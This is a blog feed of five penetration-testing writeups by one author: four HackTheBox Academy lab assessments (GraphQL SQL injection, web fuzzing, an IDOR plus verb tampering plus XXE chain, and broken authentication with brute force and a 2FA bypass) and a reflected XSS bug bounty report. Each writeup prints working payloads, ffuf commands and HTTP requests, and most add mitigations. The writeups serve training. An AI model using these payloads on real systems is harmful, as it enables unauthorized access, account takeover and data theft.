DEV Community: Hassan Elsayed

Attack GraphQL — Skills Assessment Writeup

Hassan Elsayed — Sun, 26 Jul 2026 00:47:35 +0000

Introduction

Walking through my solve of the Attack GraphQL Skills Assessment. This one is about probing a GraphQL API through introspection, finding an injectable argument, and chaining that into a full SQL injection to reach the flag.

What makes it interesting is that GraphQL hides its attack surface behind a schema — there's no list of "forms" to test like a normal web app. You have to ask the API to describe itself first, and one small mistake in how you ask can make you miss the exact parameter that's vulnerable.

Step 1: Mapping the Schema with Introspection

First move against any GraphQL target: introspection, asking the API to hand over its own schema.

{
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}

This returned the full type map. The part that mattered was the Query root type:

{"name":"Query","fields":[
  {"name":"node"},
  {"name":"allEmployees"},
  {"name":"employeeByUsername"},
  {"name":"allProducts"},
  {"name":"productByName"},
  {"name":"activeApiKeys"},
  {"name":"allCustomers"},
  {"name":"customerByName"}
]}

Eight entry points, backed by object types like EmployeeObject, ProductObject, ApiKeyObject, and CustomerObject.

The mistake that almost cost me the attack surface

Next instinct: check what each field returns.

{
  __type(name: "Query") {
    fields {
      name
      type { name kind ofType { name kind } }
    }
  }
}

This showed customerByName returns a CustomerObject — useful, but incomplete. It said nothing about what arguments each field accepts. In GraphQL, a field's return type and its args are two completely separate parts of the schema — querying one tells you nothing about the other.

Why this matters

If you only introspect return types, you see the shape of the data but stay blind to the actual attack surface — the inputs you control. The real question isn't "what does this return?", it's "what can I send it?" So I re-ran introspection asking specifically for args:

{
  __type(name: "Query") {
    fields {
      name
      args {
        name
        type {
          name
          kind
          ofType { name kind }
        }
      }
    }
  }
}

This gave the real map — every field's arguments, including employeeByUsername(username: String!), productByName(name: String!), allCustomers(apiKey: String!), and customerByName(apiKey: String!, lastName: String!).

Every one a NON_NULL String — every one a potential injection point.

Step 2: Finding an Admin API Key

allCustomers and customerByName both required an apiKey I didn't have. But activeApiKeys needed no arguments at all:

{
  activeApiKeys {
    id
    role
    key
  }
}

{"data":{"activeApiKeys":[
  {"id":"...","role":"guest","key":"fbb64ce26fbe8a8d8d6895b8e6ba21a3"},
  {"id":"...","role":"guest","key":"9cf8622bbc9fdc78f245663e08e5b4c1"},
  {"id":"...","role":"admin","key":"0711a879ed751e63330a78a4b195bbad"}
]}}

An admin-scoped key, served with zero authentication. That's the key that unlocks the customer endpoints.

Why this matters

This alone is a serious flaw — API keys, especially privileged ones, should never be readable through an unauthenticated query. In a real engagement, this finding alone would be worth reporting regardless of what came next.

Step 3: Probing Every Argument for SQL Injection

With a valid apiKey, I tested every string argument from Step 1 by appending a classic SQLi probe: ' -- -.

apiKey, username, and name all came back clean. lastName on customerByName did not:

{
  customerByName(
    lastName: "hassan 'h -- -",
    apiKey: "0711a879ed751e63330a78a4b195bbad"
  ) {
    id
    firstName
    lastName
    address
  }
}

"errors":[{"message":"(pymysql.err.ProgrammingError) (1064, \"You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right syntax to use near
'h -- -' \n LIMIT 1' at line 3\")
[SQL: SELECT customer.id AS customer_id, customer.`firstName` AS customer_firstName,
customer.`lastName` AS customer_lastName, customer.address AS customer_address
FROM customer
WHERE lastName='hassan 'h -- -'
 LIMIT %(param_1)s]

Why this matters

This single error message handed over everything needed for the rest of the attack: the exact table (customer), the exact column names (id, firstName, lastName, address), and confirmation that lastName gets concatenated straight into the query with zero sanitization. A verbose SQL error like this turns a blind injection into a fully sighted one.

Step 4: Confirming the Column Count

The leaked query already showed 4 selected columns, confirmed directly with a matching UNION SELECT:

{
  customerByName(
    lastName: "hassan' UNION SELECT 1,2,3,4 -- -",
    apiKey: "0711a879ed751e63330a78a4b195bad"
  ) {
    id
    firstName
    lastName
    address
  }
}

{"data":{"customerByName":{"id":"Q3VzdG9tZXJPYmplY3Q6MQ==","firstName":"2","lastName":"3","address":"4"}}}

firstName, lastName, and address all echoed the exact literal values from the UNION SELECT — 4 columns confirmed working. id stayed as a base64 string instead of showing 1, because GraphQL/Relay always encodes id into an opaque global identifier regardless of the underlying column's actual value. Columns 2, 3, and 4 were all equally usable for exfiltration — I picked column 2 (firstName) going forward, purely out of convenience.

Step 5: Enumerating Database Tables

With a working 4-column injection, I queried information_schema.tables for everything in the current database:

{
  customerByName(
    lastName: "hassan' UNION SELECT 1,2,GROUP_CONCAT(table_name),4 FROM information_schema.tables WHERE table_schema=database() -- -",
    apiKey: "0711a879ed751e63330a78a4b195bad"
  ) {
    id
    firstName
    lastName
    address
  }
}

{"data":{"customerByName":{"id":"...","firstName":"2","lastName":"api_key,employee,flag,product,customer","address":"4"}}}

Five tables: api_key, employee, flag, product, customer. One of those doesn't need explaining.

Step 6: Extracting the Flag

{
  customerByName(
    lastName: "hassan' UNION SELECT 1,2,GROUP_CONCAT(flag),4 FROM flag -- -",
    apiKey: "0711a879ed751e63330a78a4b195bad"
  ) {
    id
    firstName
    lastName
    address
  }
}

{"data":{"customerByName":{"id":"...","firstName":"2","lastName":"HTB{fxxxxxxxxxxxxxxxxxxxxxxxx5}","address":"4"}}}

🎯 Flag captured: HTB{fxxxxxxxxxxxxxxxxxxxxxxxx5}

Key Takeaways

introspecting return types alone tells you nothing about arguments — always ask for args explicitly to map the real attack surface
unauthenticated queries that leak API keys are a finding on their own, independent of anything chained after them
verbose SQL errors from the backend can turn a blind injection into a fully sighted one — read them closely
GraphQL's id field is often an opaque encoded value (Relay global ID), not the raw column — don't rely on it for column-count confirmation

Happy hacking! 🔐

HackTheBox — Web Fuzzing Skills Assessment

Hassan Elsayed — Sun, 26 Jul 2026 00:08:23 +0000

Introduction

Walking through my approach to the Web Fuzzing Skills Assessment from HackTheBox Academy — writing this mostly as a personal reference to revisit later, but hopefully it helps someone else too. Genuinely fun challenge that solidified how fuzzing works in a real-world-ish scenario.

The assessment is about discovering hidden endpoints, parameters, virtual hosts, and nested directories through systematic fuzzing. Each discovery unlocks the next clue — a chain leading to the final flag.

Challenge Overview

Target: web application
Wordlist: common.txt from SecLists (/usr/share/seclists/Discovery/Web-Content/)
Goal: discover hidden content and capture the flag
Skills tested: directory fuzzing, parameter fuzzing, VHost fuzzing, recursive fuzzing

Step 1: Directory Fuzzing on Root

Started by fuzzing the root to map the attack surface:

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -u http://TARGET:PORT/FUZZ

Result: found /admin with a 301 redirect — worth digging into.

Step 2: Fuzzing Inside /admin

Went deeper into /admin, adding the .php extension to catch PHP files:

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -u http://TARGET:PORT/admin/FUZZ -e .php

Result: panel.php stood out — different response size (58 bytes) than everything else.

Step 3: Discovering the Hidden Parameter

A quick curl on it revealed something useful:

curl http://TARGET:PORT/admin/panel.php

Response:

Invalid parameter, please ensure accessID is set correctly

The app told me exactly what it needed — an accessID parameter. Time to fuzz it.

Step 4: Fuzzing the accessID Parameter

All responses came back 200 with size 58 — classic false positives. Filtered by that size to isolate the real hit:

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -u "http://TARGET:PORT/admin/panel.php?accessID=FUZZ" \
  -fs 58

Result: valid accessID value found ✅

Step 5: Getting the VHost Hint

curl "http://TARGET:PORT/admin/panel.php?accessID=<found_value>"

Response:

Head on over to the fuzzing_fun.htb vhost for some more fuzzing fun!

The app pointed me at a virtual host. First step, add it to /etc/hosts:

echo "TARGET_IP  fuzzing_fun.htb" | sudo tee -a /etc/hosts

Step 6: VHost / Subdomain Fuzzing

With the vhost in place, I fuzzed for subdomains sitting on top of it, filtering out the noisy 403 responses:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
  -u http://fuzzing_fun.htb:PORT/ \
  -H 'Host: FUZZ.fuzzing_fun.htb' \
  -fc 403

Result: a subdomain discovered ✅ — added it to /etc/hosts as well:

echo "TARGET_IP  <subdomain>.fuzzing_fun.htb" | sudo tee -a /etc/hosts

Step 7: Following the Clue to /godeep

curl http://<subdomain>.fuzzing_fun.htb:PORT/

Response:

Wrong path, remember to be looking in /godeep

The app kept dropping breadcrumbs — love it.

Step 8: Recursive Fuzzing on /godeep

Instead of manually fuzzing layer by layer, I used recursive fuzzing. The 301 redirect size was 352, so I filtered that out:

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -u http://<subdomain>.fuzzing_fun.htb:PORT/godeep/FUZZ \
  -recursion \
  -recursion-depth 2 \
  -fs 352

Result: uncovered a deeply nested path ✅

Step 9: Flag Captured 🎉

curl http://<subdomain>.fuzzing_fun.htb:PORT/godeep/<nested_path>/

HTB{wxxx_fxxxxxg_kxxxxxs}

Key Takeaways

always filter false positives by response size (-fs) — cuts out a ton of noise
apps sometimes leak parameter names in their own error messages — read them carefully
VHost fuzzing can reveal entire hidden site trees you'd never find otherwise
recursive fuzzing saves real time on deeply nested directories
every clue unlocks the next step — follow the breadcrumbs

HTB Web Attacks — Skills Assessment Writeup

Hassan Elsayed — Sat, 25 Jul 2026 23:55:52 +0000

Introduction

Walking through my solve of the Web Attacks Skills Assessment from HackTheBox Academy. This one tested three separate vulnerability classes: IDOR (Insecure Direct Object Reference), HTTP Verb Tampering, and XXE (XML External Entity) Injection.

What made it interesting is that it needed all three chained together to reach the final goal — each vuln built on the previous one, a good demo of how small flaws compound into a full system compromise.

Challenge Overview

Target: web app (social networking platform)
Given credentials: htb-student:Academy_student!
Goal: escalate privileges and read the flag at /flag.php
Skills tested: IDOR, HTTP parameter tampering, XXE injection

Step 1: Initial Recon

After logging in with the provided creds, I explored the app through Burp Suite to map out functionality and look for attack vectors — starting with how it handles sessions and API calls.

Step 2: Discovering the IDOR

While intercepting traffic, I found an API endpoint that returns user info:

GET /api.php/user/74 HTTP/1.1
Host: 154.57.164.83:30772
Cookie: PHPSESSID=5tdab0pea9581eafu321oslqc2; uid=74

Response:

{
  "uid": "74",
  "username": "htb-student",
  "full_name": "Paolo Perrone",
  "company": "Schaefer Inc"
}

The critical observation: the app relied purely on the URL parameter to decide whose data to return — no server-side check on whether the requesting user actually had permission. Textbook IDOR.

Step 3: User Enumeration

Confirmed the vuln, then enumerated users. Manual testing first:

GET /api.php/user/1 HTTP/1.1
GET /api.php/user/2 HTTP/1.1
GET /api.php/user/3 HTTP/1.1
...

Every request returned a different user's data. To speed this up, I ran Burp Intruder over IDs 1–100 (payload type: Numbers, from 1 to 100, step 1) and pulled all 100 users' info in one pass.

Step 4: Finding the Administrator Account

Scanning the enumeration results for anything with elevated privileges, one entry stood out:

{
  "uid": "52",
  "username": "a.corrales",
  "full_name": "Amor Corrales",
  "company": "Administrator"
}

🎯 Target identified: user ID 52, a.corrales — Administrator.

Step 5: Attempting to Hijack the Admin Account

I looked at how password reset works by triggering it on my own account and intercepting the two requests involved.

Request 1 — fetch the token:

GET /api.php/token/74 HTTP/1.1
Host: 154.57.164.83:30772

Response:

{
  "token": "e51a8a14-17ac-11ec-8e67-a3c050fe0c26"
}

Request 2 — reset the password:

POST /reset.php HTTP/1.1
Host: 154.57.164.83:30772
Content-Type: application/x-www-form-urlencoded

uid=74&token=e51a8a14-17ac-11ec-8e67-a3c050fe0c26&password=newpass

The plan: since the IDOR lets me pull any user's token, I could fetch admin's token from /api.php/token/52 and reset their password with it.

Step 6: First Attempt — Access Denied

I modified the reset request to target user 52:

POST /reset.php HTTP/1.1
Host: 154.57.164.83:30772
Cookie: PHPSESSID=5tdab0pea9581eafu321oslqc2; uid=52

uid=52&token=e51a8a14-17ac-11ec-8e67-a3c050fe0c26&password=1234

Response:

Access Denied

❌ Failed — the server was validating something. My token (issued for user 74) wasn't valid for user 52.

Step 7: HTTP Verb Tampering

Apps sometimes enforce inconsistent security controls across HTTP methods. What if GET has weaker validation than POST?

GET /reset.php?uid=52&token=e51a8a14-17ac-11ec-8e67-a3c050fe0c26&password=1234 HTTP/1.1
Host: 154.57.164.83:30772

Response:

Invalid token

Progress — the error changed from "Access Denied" to "Invalid token." The method swap bypassed the access control; I just needed the right token for user 52.

Step 8: Combining IDOR + HTTP Verb Tampering

Now I had both pieces: IDOR to fetch any user's token, and verb tampering to bypass the reset endpoint's access control.

Fetch admin's token via IDOR:

GET /api.php/token/52 HTTP/1.1
Host: 154.57.164.83:30772

Response:

{
  "token": "e51a85fa-17ac-11ec-8e51-e78234eb7b0c"
}

Reset admin's password with the valid token:

GET /reset.php?uid=52&token=e51a85fa-17ac-11ec-8e51-e78234eb7b0c&password=1234 HTTP/1.1
Host: 154.57.164.83:30772

Response:

Password changed successfully

✅ Administrator's password reset to 1234.

Step 9: Accessing the Admin Panel

Logged in with the compromised creds (a.corrales / 1234) and got full admin access. A new feature was visible that regular users don't get: Add Event.

Step 10: Discovering the XXE Vulnerability

Intercepting the "Add Event" request showed the app accepts raw XML:

POST /addEvent.php HTTP/1.1
Host: 154.57.164.78:30221
Content-Type: text/plain;charset=UTF-8

<root>
    <name>test</name>
    <details>test details</details>
    <date>2024-01-01</date>
</root>

Response:

Event 'test' has been created.

The <name> value gets reflected back in the response — a strong signal the app might be vulnerable to XML External Entity (XXE) injection.

Step 11: Testing for XXE

First attempt: a basic XXE payload trying to read /flag.php directly.

Response:

Event '' has been created.

❌ Didn't work as expected — /flag.php contains PHP code, and when the XML parser tries to read it, the server executes the PHP instead of returning it as plain text.

Step 12: XXE with PHP Filters — The Fix

PHP's stream filter wrapper php://filter with convert.base64-encode lets you:

read the PHP file as raw text instead of executing it
base64-encode it, sidestepping special-character issues
exfiltrate it through the XXE

Sending the payload through this wrapper got:

Event 'PD9waHAKJGZsYWcgPSAiSFRCe21YWFH...' has been created.

✅ Success — the base64-encoded contents of /flag.php came back in the event name.

🎯 Flag captured: HTB{mxxxxr_xxb_4xxxxr}

Vulnerability Chain Summary

1. IDOR on /api.php/user/{id} → enumerate all users → find admin
2. IDOR on /api.php/token/{id} → steal admin's reset token
3. HTTP verb tampering (POST → GET) → bypass reset endpoint's access control
4. Admin password reset → full admin access
5. XXE in the new "Add Event" feature via php://filter → read /flag.php

Three separate flaws — none individually catastrophic on its own — chained into full compromise.

Reflected XSS in E-Commerce Search — Bug Bounty Writeup

Hassan Elsayed — Sat, 25 Jul 2026 23:45:47 +0000

Introduction

This one's a Reflected XSS I found during a bug bounty hunt, and it reinforced a lesson I keep relearning: the simplest features often hide the most critical vulnerabilities.

The bug was sitting in plain sight — the search bar. The innocent text box everyone uses to find products. Most people type product names into it. I typed something else.

What made it interesting wasn't just finding the XSS — it was how the injection worked. My input was reflected inside an existing <script> tag, so a basic payload wouldn't cut it. I had to break out of the JavaScript context first before I could execute anything.

Here's exactly how it went down.

Step 1: Finding the Reflection

I started doing what I always do on a new target — hunting for input fields. Login forms, comments, contact forms... and then the search bar.

Search functionality is a goldmine for XSS hunters because:

it's designed to accept arbitrary input
results pages often reflect that input back to show what you searched for
devs sometimes overlook it — "it's just a search"

Simple test string first, no fancy payload:

test

Response:

Search results for: "test"

My input came back reflected directly in the HTML. Step one done. Next question: is there any filtering?

Step 2: Testing for Sanitization

Time to throw special characters at it:

test><" '

These matter because:

< and > build HTML tags
" and ' break out of attributes
if none of this gets encoded, there's a real vulnerability here

Response:

Search results for: "test><" '"

No encoding, no filtering, nothing. ✅ All the dangerous characters came back untouched.

Step 3: Locating the Injection Point with Burp Suite

Most people stop once they see the reflection in the visible page content. That's a mistake — I opened Burp Suite and used a unique marker to trace exactly where my input landed in the raw response:

test3030

Request:

GET /search?q=test3030%3E%3C%22+%27&search-button=&lang=en_US HTTP/2
Host: [REDACTED]

Searching the response for test3030 showed it reflected in multiple places — some filtered, some not. Then the jackpot, buried in the page source:

}]);
pushMCView(["trackPageView",{
    "search":"test3030><\" '"
}]);
flushViewQueue();
} catch (e) { console.error(e); }
</script>

🔍 My input was sitting inside an existing <script> block, completely unfiltered — the special characters all made it through unencoded.

This is different from a typical XSS. The input isn't in the HTML body, it's inside JavaScript code, which means a different approach is needed.

Step 4: Breaking Out of the Script Context

The problem: I can't just inject <img src=x onerror=alert(1)> because I'm already inside a <script> tag — the browser expects JS syntax there, not HTML.

Then it clicked: what if I close the script tag myself?

</script>test3030

The browser saw the closing </script> and ended the JavaScript context right there. Everything after it got treated as HTML instead.

✅ Script context escaped. Verified with Burp:

Request:

GET /search?q=</script>test3030%3E%3C%22+%27&search-button=&lang=en_US HTTP/2

Response:

pushMCView(["trackPageView",{
    "search":"</script>test3030><\" '"
}]);
flushViewQueue();
} catch (e) { console.error(e); }
</script>

The </script> tag closes the existing script block early — everything after it is now HTML, not JavaScript. That's the key to the whole exploit.

Now I could inject arbitrary HTML elements, and with them, JS event handlers.

Step 5: Crafting the Exploit Payload

The plan:

close the existing <script> tag with </script>
inject an SVG element (lightweight, reliable)
use its onload event to run JavaScript

Final payload:

</script><svg/onload=alert(document.domain)>

Full malicious URL:

/search?q=</script><svg/onload=alert(document.domain)>&search-button=&lang=en_US

Sent it through Burp and inspected the response:

pushMCView(["trackPageView",{
    "search":"</script><svg/onload=alert(document.domain)><\" '"
}]);

The full payload came back unmodified in the HTML — script context terminated, SVG element with its malicious onload sitting there ready to fire.

Step 6: Proof of Concept

Theory's great, but I needed visual proof. Opened a browser and navigated to the malicious URL.

🎯 The alert box popped up, displaying the target domain — full JavaScript execution confirmed in the context of the vulnerable site.

Why This Works

My input:

</script><svg/onload=alert(document.domain)>

How it appears in the HTML:

<script>
pushMCView(["trackPageView",{"search":"</script>  ← script ends HERE
<svg/onload=alert(document.domain)>               ← this becomes HTML!
"}]);
</script>

What the browser actually parses:

start of a <script> block
some JS: pushMCView(["trackPageView",{"search":"
closing tag </script> → browser thinks the script is done
HTML content <svg/onload=alert(document.domain)> → this executes
leftover text "}]); → browser ignores it
another </script> → ignored, no matching open tag

The browser's HTML parser is greedy: the instant it sees </script>, it closes the JavaScript context, regardless of what the app intended.

Impact

This lets an attacker:

execute arbitrary JavaScript in the victim's browser
steal session cookies if they aren't HttpOnly
perform actions on behalf of the logged-in user
run phishing attacks from within a trusted domain

Mitigation

properly encode user input before embedding it in JavaScript
use safe serialization (e.g. JSON.stringify)
never inject raw user input directly into script blocks
add a Content Security Policy to limit exploitation impact

Vulnerability Details

Type: Reflected XSS
Parameter: q
Endpoint: /search
Method: GET
Payload: </script><svg/onload=alert(document.domain)>

Conclusion

This is exactly why I love bug bounties — you never know what a bit of poking around in a "boring" search bar will turn up. A simple input field turned into a full XSS.

Key takeaways:

always test input fields, even the boring ones
use the right tools — Burp Suite is essential here
understand the injection context before crafting a payload
simple often beats complex

Stay curious, stay persistent, happy hacking! 🔐

HTB Broken Authentication — Skill Assessment Writeup

Hassan Elsayed — Sat, 25 Jul 2026 20:40:24 +0000

Introduction

In this writeup I'll walk through solving the Broken Authentication Skill Assessment from HackTheBox Academy. The challenge was about exploiting multiple authentication vulnerabilities to gain unauthorized access — with zero credentials provided.

What made it interesting is that no single exploit got you the flag. You had to chain together user enumeration, targeted password brute forcing, and an authentication bypass.

Challenge Overview

Target: Web application with a login portal
Given: Nothing — no usernames, no passwords, no hints
Goal: Compromise the application and retrieve the flag
Skills tested: User enumeration, brute force, response manipulation

Step 1: Testing for User Enumeration

First I explored the login page to see how it behaves with invalid credentials.

I entered random creds:

Username: hahaha
Password: annaa

Server response:

Unknown username or password

This specific message tells me the app checks the username first, then the password — a classic user enumeration bug.

Why this matters: if invalid username and valid-username-wrong-password return different messages, an attacker can build a list of valid usernames. That's the first piece of the puzzle.

Step 2: User Enumeration Attack

With the vuln confirmed, I enumerated valid usernames with ffuf:

ffuf -w /opt/useful/seclists/Usernames/xato-net-10-million-usernames.txt \
     -u http://TARGET_IP:PORT/login.php \
     -X POST \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=FUZZ&password=invalid" \
     -fr "Unknown username or password"

Breaking it down:

-w — wordlist of common usernames
-u — target login endpoint
-X POST — HTTP method
-d — POST body, FUZZ gets replaced by each wordlist entry
-fr — filter OUT this response text (show only different responses)

Result:

gxxxxs [Status: 200, Size: 4344, Words: 680, Lines: 91]

✅ Valid user found: gxxxxs — the response size is much larger than the "unknown user" response, confirming the username exists.

Step 3: Confirming the Username

I manually verified by logging in as gxxxxs with a random password (11111):

Invalid credentials.

A different message than before, confirming:

✅ gxxxxs is a valid username
❌ the password is wrong

Time to crack the password.

Step 4: Password Brute Force — The Smart Way

The problem: rockyou.txt has 14+ million entries. Brute-forcing all of it risks rate limiting or lockout, and takes forever.

The fix: filter by the app's password policy. Most modern apps require min length, upper+lower case, and a digit. I filtered rockyou.txt down to only candidates matching that policy:

grep '[[:upper:]]' /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt | \
grep '[[:lower:]]' | \
grep '[[:digit:]]' | \
grep -E '.{10}' > custom_wordlist.txt

grep '[[:upper:]]' — must contain an uppercase letter
grep '[[:lower:]]' — must contain a lowercase letter
grep '[[:digit:]]' — must contain a digit
grep -E '.{10}' — at least 10 characters

Result: 14,000,000 → ~150,000 candidates (99% reduction 🚀)

The attack:

ffuf -w custom_wordlist.txt \
     -u http://TARGET_IP:PORT/login.php \
     -X POST \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=gxxxxs&password=FUZZ" \
     -fr "Invalid credentials"

Result:

dWXXXXXXXX13 [Status: 302, Size: 0, Duration: 656ms]

✅ Password cracked: gxxxxs:dWXXXXXXXX13 (redacted to avoid spoiling the box for others).

Step 5: The 2FA Roadblock

Logging in with the valid creds hit a wall: the app asked for a 2FA OTP.

Options considered:

Brute force the OTP — unknown length (4 vs 6 digits), not efficient
Bypass the OTP check entirely — more realistic

This pointed to a technique from the module: authentication bypass via direct access.

Step 6: Understanding the Vulnerability

Poorly implemented auth flows often make this mistake in PHP:

// Vulnerable
if (!$_SESSION['2fa_verified']) {
    header("Location: /2fa.php");
    // missing exit; !
}
// this still executes
echo "<h1>Welcome to your profile!</h1>";
echo "Flag: HTB{...}";

The server sends a 302 redirect to /2fa.php, but the script keeps running and renders the protected page anyway. A normal browser just follows the redirect and never shows you that content — but we can intercept the raw response before that happens.

Step 7: Burp Suite Response Manipulation

I set Burp to intercept the response, not just the request:

Enable Burp Proxy
In Proxy → HTTP History, find the request to /profile.php
Right-click → Do intercept → Response to this request

Original response:

HTTP/1.1 302 Found
Location: /2fa.php
Content-Length: 3986
[protected page HTML content here]

Modified response:

HTTP/1.1 200 OK
Location: /profile.php
Content-Length: 3647
[protected page HTML content here]

Changed the status line from 302 Found to 200 OK and the Location header from /2fa.php to /profile.php — telling the browser "this is a successful response, render it."

Result: forwarding the modified response rendered the profile page directly:

Welcome gxxxxs!
HTB{d86XXXXXXXXXXXXXXXXXX}

🎯 Flag captured (partially redacted).

Complete Attack Chain

1. User enumeration → found username gxxxxs
2. Password policy analysis → filtered rockyou.txt 14M → 150K
3. Password brute force → found password
4. Login → hit 2FA barrier
5. Direct access test → found 302 redirect flaw
6. Response manipulation → 302 → 200 in Burp
7. Access granted → flag captured

Vulnerability Analysis

1. User enumeration (CWE-204)

Vulnerable: different messages for invalid username vs. valid-username-wrong-password.
Secure: always return the same generic "Invalid username or password".

2. Weak password requirements

The app enforced a complexity policy but still accepted breached passwords like Password123. Better: check against the HaveIBeenPwned API and reject known-breached passwords, plus require higher entropy.

3. Missing exit; after redirect (CWE-698)

// Vulnerable
if (!$_SESSION['2fa_verified']) {
    header("Location: /2fa.php");
    // script continues executing!
}
include('profile_content.php');

// Secure
if (!$_SESSION['2fa_verified']) {
    header("Location: /2fa.php");
    exit; // critical
}
include('profile_content.php');

Defense Recommendations

Always call exit; right after header() redirects in PHP
Use consistent, generic error messages for all login failures
Add rate limiting (e.g. lock out or slow down after 5 failed attempts per IP)
Validate session + 2FA state on every protected page, not just at login
Check new passwords against breach databases like HaveIBeenPwned

Key Lessons Learned

Small vulnerabilities compound — none of these alone is critical, but chained together they gave full auth bypass
Never trust client-side redirects for access control — always validate server-side
Error messages leak information — even subtle differences enable enumeration
Password policy ≠ password security — complexity rules don't stop reused/breached passwords
Defense in depth matters — any single one of these fixes would have stopped the attack

Tools Used

Tool	Purpose
`ffuf`	Web fuzzing for enumeration and brute force
`grep`	Filtering wordlists by pattern
Burp Suite	HTTP interception and response modification
SecLists	Pre-built wordlists

Conclusion

This challenge is a solid example of why secure coding practices aren't optional. The dev likely assumed a redirect was enough access control, that subtly different error messages wouldn't be noticed, and that a password policy alone made passwords secure. Chaining three small gaps together broke all three assumptions.

Security isn't about one strong defense — it's layers, so that when one fails, the others still hold.

Happy hacking! 🔐